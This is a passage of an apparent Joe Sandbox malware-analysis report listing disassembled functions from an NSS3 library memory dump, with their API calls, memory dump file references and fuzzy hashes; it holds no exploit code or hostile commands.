Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

htonl.WSOCK32(00000000,?,6CBFA4A1,?,00000000,?,00000001), ref: 6CBDEFE4
htonl.WSOCK32(?,00000000,?,6CBFA4A1,?,00000000,?,00000001), ref: 6CBDEFF1
memcpy.VCRUNTIME140(?,?,6CBFA4A1,?,00000000,?,6CBFA4A1,?,00000000,?,00000001), ref: 6CBDF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CBFA4A1,?,00000000,?,00000001), ref: 6CBDF027

Strings

dtls13, xrefs: 6CBDEF33

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: f31930200b44de8441ffcdf3736fcead9e2de11244385937efa8499f20a5917a
Instruction ID: aedb6a04f4ac51936b7aad976c27d950a211142ae4c80c55275bda92a88e8203
Opcode Fuzzy Hash: f31930200b44de8441ffcdf3736fcead9e2de11244385937efa8499f20a5917a
Instruction Fuzzy Hash: 5B31E171A05251AFDB10DF68DC80B9EB7E4EF49348F168029E8189B751E731F915CBE2

Function 6CB5AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB5AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CC79500,6CB53F91), ref: 6CB5AFD2

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

DER_GetInteger_Util.NSS3(?), ref: 6CB5B007

Part of subcall function 6CBA6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CB51666,?,6CB5B00C,?), ref: 6CBA6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CB5B02F
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB5B046
PL_FreeArenaPool.NSS3 ref: 6CB5B058
PL_FinishArenaPool.NSS3 ref: 6CB5B060

Strings

security, xrefs: 6CB5AFB8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b57f6c4abc5caccf177d75a8538ed7edd672db808de564080384faa257780939
Instruction ID: 8653de248e5b4e1cf14d3a7db1f02a8c463c1edeec0602bba72854e1f8ad8dae
Opcode Fuzzy Hash: b57f6c4abc5caccf177d75a8538ed7edd672db808de564080384faa257780939
Instruction Fuzzy Hash: 953136714043809BDB108F24DC45BAA77B8EF8632CF580618F8B5ABBC1E7329559C797

Function 6CB53E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CB540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CB53F7F,?,00000055,?,?,6CB51666,?,?), ref: 6CB540D9
Part of subcall function 6CB540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CB51666,?,?), ref: 6CB540FC
Part of subcall function 6CB540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CB51666,?,?), ref: 6CB54138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB53EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB53ED6

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB53EEE

Part of subcall function 6CBAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBA8D2D,?,00000000,?), ref: 6CBAFB85
Part of subcall function 6CBAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBAFBB1

PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB53F02
PL_FreeArenaPool.NSS3 ref: 6CB53F14
PL_FinishArenaPool.NSS3 ref: 6CB53F1C

Part of subcall function 6CBB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CBB127C,00000000,00000000,00000000), ref: 6CBB650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB53F27

Strings

security, xrefs: 6CB53EBC

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 9e34149e0f8ecb5ad6e7c38032d2bf17b5eb0bd1f61a6607b09d4fd88b7b8ac1
Instruction ID: c560805b48fe5d221077228eb844cb22ce7bb083c6de3a19e1e655104c43a706
Opcode Fuzzy Hash: 9e34149e0f8ecb5ad6e7c38032d2bf17b5eb0bd1f61a6607b09d4fd88b7b8ac1
Instruction Fuzzy Hash: 0721D3B2A083406BD7148F55AC41BAF77B8EB8831CF44052DF959A7B41F7319928879A

Function 6CB9CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CB9CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CB9CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CB9D079

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: f90c2a216500ae2b8c10f2a60adea742b69392b9e856c61bd93a24ccbcbbbf6d
Instruction ID: 1da5f7323d03bdd3d8a2d23e49ad4393a7bf114fc93691ac1493f3fb550ef462
Opcode Fuzzy Hash: f90c2a216500ae2b8c10f2a60adea742b69392b9e856c61bd93a24ccbcbbbf6d
Instruction Fuzzy Hash: 0FC19DB1A002599BDB20CF25DC80BDAB7B8EF49308F1441B8E84DA7741E771AE95CF91

Function 6CB8DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CB997C1,?,00000000,00000000,?,?,?,00000000,?,6CB77F4A,00000000), ref: 6CB8DC68

Part of subcall function 6CBB0BE0: malloc.MOZGLUE(6CBA8D2D,?,00000000,?), ref: 6CBB0BF8
Part of subcall function 6CBB0BE0: TlsGetValue.KERNEL32(6CBA8D2D,?,00000000,?), ref: 6CBB0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB8DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB8DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB8DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB8DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB8DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB8DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB8DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CB77F4A,00000000,?,00000000,00000000), ref: 6CB8DFAA

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 4ceb393ac0aa06053930c66f6fe981323f10de94ad353590f23de8e1375d61af
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: BD81B470A076C38BFF144A79F89076972A2DB6434AF20843BE519CAFE5DB74C484C663

Function 6CB63C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CB63C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB63C94

Part of subcall function 6CB595B0: TlsGetValue.KERNEL32(00000000,?,6CB700D2,00000000), ref: 6CB595D2
Part of subcall function 6CB595B0: EnterCriticalSection.KERNEL32(?,?,?,6CB700D2,00000000), ref: 6CB595E7
Part of subcall function 6CB595B0: PR_Unlock.NSS3(?,?,?,?,6CB700D2,00000000), ref: 6CB59605

PORT_NewArena_Util.NSS3(00000800), ref: 6CB63CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CB63CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CB63CE1

Part of subcall function 6CB63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB7AE42), ref: 6CB630AA
Part of subcall function 6CB63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB630C7
Part of subcall function 6CB63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB630E5
Part of subcall function 6CB63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB63116
Part of subcall function 6CB63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB6312B
Part of subcall function 6CB63090: PK11_DestroyObject.NSS3(?,?), ref: 6CB63154
Part of subcall function 6CB63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB6317E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 31e73d3f9d13b0e45f8e8eaa73fccc698ad2396a3de813653041551fff3d1088
Instruction ID: 66ec66240ae9164b249d59e99f739f4b1df025ac490e06a8f95d82822b8bdb74
Opcode Fuzzy Hash: 31e73d3f9d13b0e45f8e8eaa73fccc698ad2396a3de813653041551fff3d1088
Instruction Fuzzy Hash: D461C4B5A00240ABEB105E66DC41FAB76B9EF05748F084438FE0ADAE52F731D918D7B1

Function 6CBA3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CBA3440: PK11_GetAllTokens.NSS3 ref: 6CBA3481
Part of subcall function 6CBA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CBA34A3
Part of subcall function 6CBA3440: TlsGetValue.KERNEL32 ref: 6CBA352E
Part of subcall function 6CBA3440: EnterCriticalSection.KERNEL32(?), ref: 6CBA3542
Part of subcall function 6CBA3440: PR_Unlock.NSS3(?), ref: 6CBA355B

TlsGetValue.KERNEL32 ref: 6CBA3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CBA3D9F
PR_Unlock.NSS3(?), ref: 6CBA3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CBA3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBA3E4F

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

TlsGetValue.KERNEL32 ref: 6CBA3E97
EnterCriticalSection.KERNEL32(?), ref: 6CBA3EAB
PR_Unlock.NSS3(?), ref: 6CBA3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CBA3EEE

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 3d0fd6220477ec3627c3dd80afbdc3ad6bd664ccaa5a05d5c02098360a26ba42
Instruction ID: 17f83701e13851b8ad34aee16ce5d5d1ca7292b11bcdcf2a3ba47301a9fa3570
Opcode Fuzzy Hash: 3d0fd6220477ec3627c3dd80afbdc3ad6bd664ccaa5a05d5c02098360a26ba42
Instruction Fuzzy Hash: F1516A71E042819FDB119FE9EC44B6A73B4EF45318F040528DE9957B11EB31E856CBE2

Function 6CB52C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(A66B552E), ref: 6CB52C5D

Part of subcall function 6CBB0D30: calloc.MOZGLUE ref: 6CBB0D50
Part of subcall function 6CBB0D30: TlsGetValue.KERNEL32 ref: 6CBB0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CB52C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB52CE0

Part of subcall function 6CB52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB52CDA,?,00000000), ref: 6CB52E1E
Part of subcall function 6CB52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CB52E33
Part of subcall function 6CB52E00: TlsGetValue.KERNEL32 ref: 6CB52E4E
Part of subcall function 6CB52E00: EnterCriticalSection.KERNEL32(?), ref: 6CB52E5E
Part of subcall function 6CB52E00: PL_HashTableLookup.NSS3(?), ref: 6CB52E71
Part of subcall function 6CB52E00: PL_HashTableRemove.NSS3(?), ref: 6CB52E84
Part of subcall function 6CB52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CB52E96
Part of subcall function 6CB52E00: PR_Unlock.NSS3 ref: 6CB52EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB52D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CB52D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CB52D3F
free.MOZGLUE(00000000), ref: 6CB52D73
CERT_DestroyCertificate.NSS3(?), ref: 6CB52DB8
free.MOZGLUE ref: 6CB52DC8

Part of subcall function 6CB53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB53EC2
Part of subcall function 6CB53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB53ED6
Part of subcall function 6CB53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB53EEE
Part of subcall function 6CB53E60: PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB53F02
Part of subcall function 6CB53E60: PL_FreeArenaPool.NSS3 ref: 6CB53F14
Part of subcall function 6CB53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB53F27

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 8ef34cad87cb0c5d1691c8fa5fba56cbf7e41ecc328f8e4f6805de331d88d8f0
Instruction ID: 38e93d2035da1f47eee242afe8484934c923523a3e16621b654fbd801fc483c2
Opcode Fuzzy Hash: 8ef34cad87cb0c5d1691c8fa5fba56cbf7e41ecc328f8e4f6805de331d88d8f0
Instruction Fuzzy Hash: 02510072A062A19BEB01DF68DC88B6F77E5EF84348F540428EC5583790E731E8258B93

Function 6CB78F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB78FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB78FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB78FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB79013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB79042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB7905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB79073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB790EC

Part of subcall function 6CB40F00: PR_GetPageSize.NSS3(6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F1B
Part of subcall function 6CB40F00: PR_NewLogModule.NSS3(clock,6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB79111

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 89c27b9b375fe4ce4a5469eedf9758378a11284b11d99eb91d71a8663c7e0be2
Instruction ID: a393563837c2376d031b6c0d0c4e279beb8835a9ec5651e8c3b508e09f5c93d1
Opcode Fuzzy Hash: 89c27b9b375fe4ce4a5469eedf9758378a11284b11d99eb91d71a8663c7e0be2
Instruction Fuzzy Hash: 8551AE74A082858FCF10EF78D4882597BF4FF0A314F054569DC659B755EB31E885CBA2

Function 6CB57CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CB53F7F,?,00000055,?,?,6CB51666,?,?), ref: 6CB540D9
Part of subcall function 6CB540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CB51666,?,?), ref: 6CB540FC
Part of subcall function 6CB540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CB51666,?,?), ref: 6CB54138

PR_GetCurrentThread.NSS3 ref: 6CB57CFD

Part of subcall function 6CC19BF0: TlsGetValue.KERNEL32(?,?,?,6CC60A75), ref: 6CC19C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CC79030), ref: 6CB57D1B

Part of subcall function 6CBAFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CB51A3E,00000048,00000054), ref: 6CBAFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CC79048), ref: 6CB57D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CB57D50
PR_GetCurrentThread.NSS3 ref: 6CB57D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CB57D7D
free.MOZGLUE(?), ref: 6CB57D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CB57DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CB57E19

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9bbda5983e510d0c4c9561234c8fdf0b9af9b7f3469dabbd4ed687b10d57c1f0
Instruction ID: 9b52880ff1735ffe621e92b6b60398f715b46a92ff4e2a6a0d1358585f2b52d9
Opcode Fuzzy Hash: 9bbda5983e510d0c4c9561234c8fdf0b9af9b7f3469dabbd4ed687b10d57c1f0
Instruction Fuzzy Hash: 3741D8B2B101A99BDB008F699C45BAF33A4EF4435CF454164EC15B7790E7B0E92987E2

Function 6CB67EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CB680DD), ref: 6CB67F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CB680DD), ref: 6CB67F36
free.MOZGLUE(?,?,?,6CB680DD), ref: 6CB67F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CB680DD), ref: 6CB67F5D
DeleteCriticalSection.KERNEL32(?,6CB680DD), ref: 6CB67F94
free.MOZGLUE(?), ref: 6CB67F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CB680DD), ref: 6CB67FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CB680DD), ref: 6CB67FE6
free.MOZGLUE(?,6CB680DD), ref: 6CB6802D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
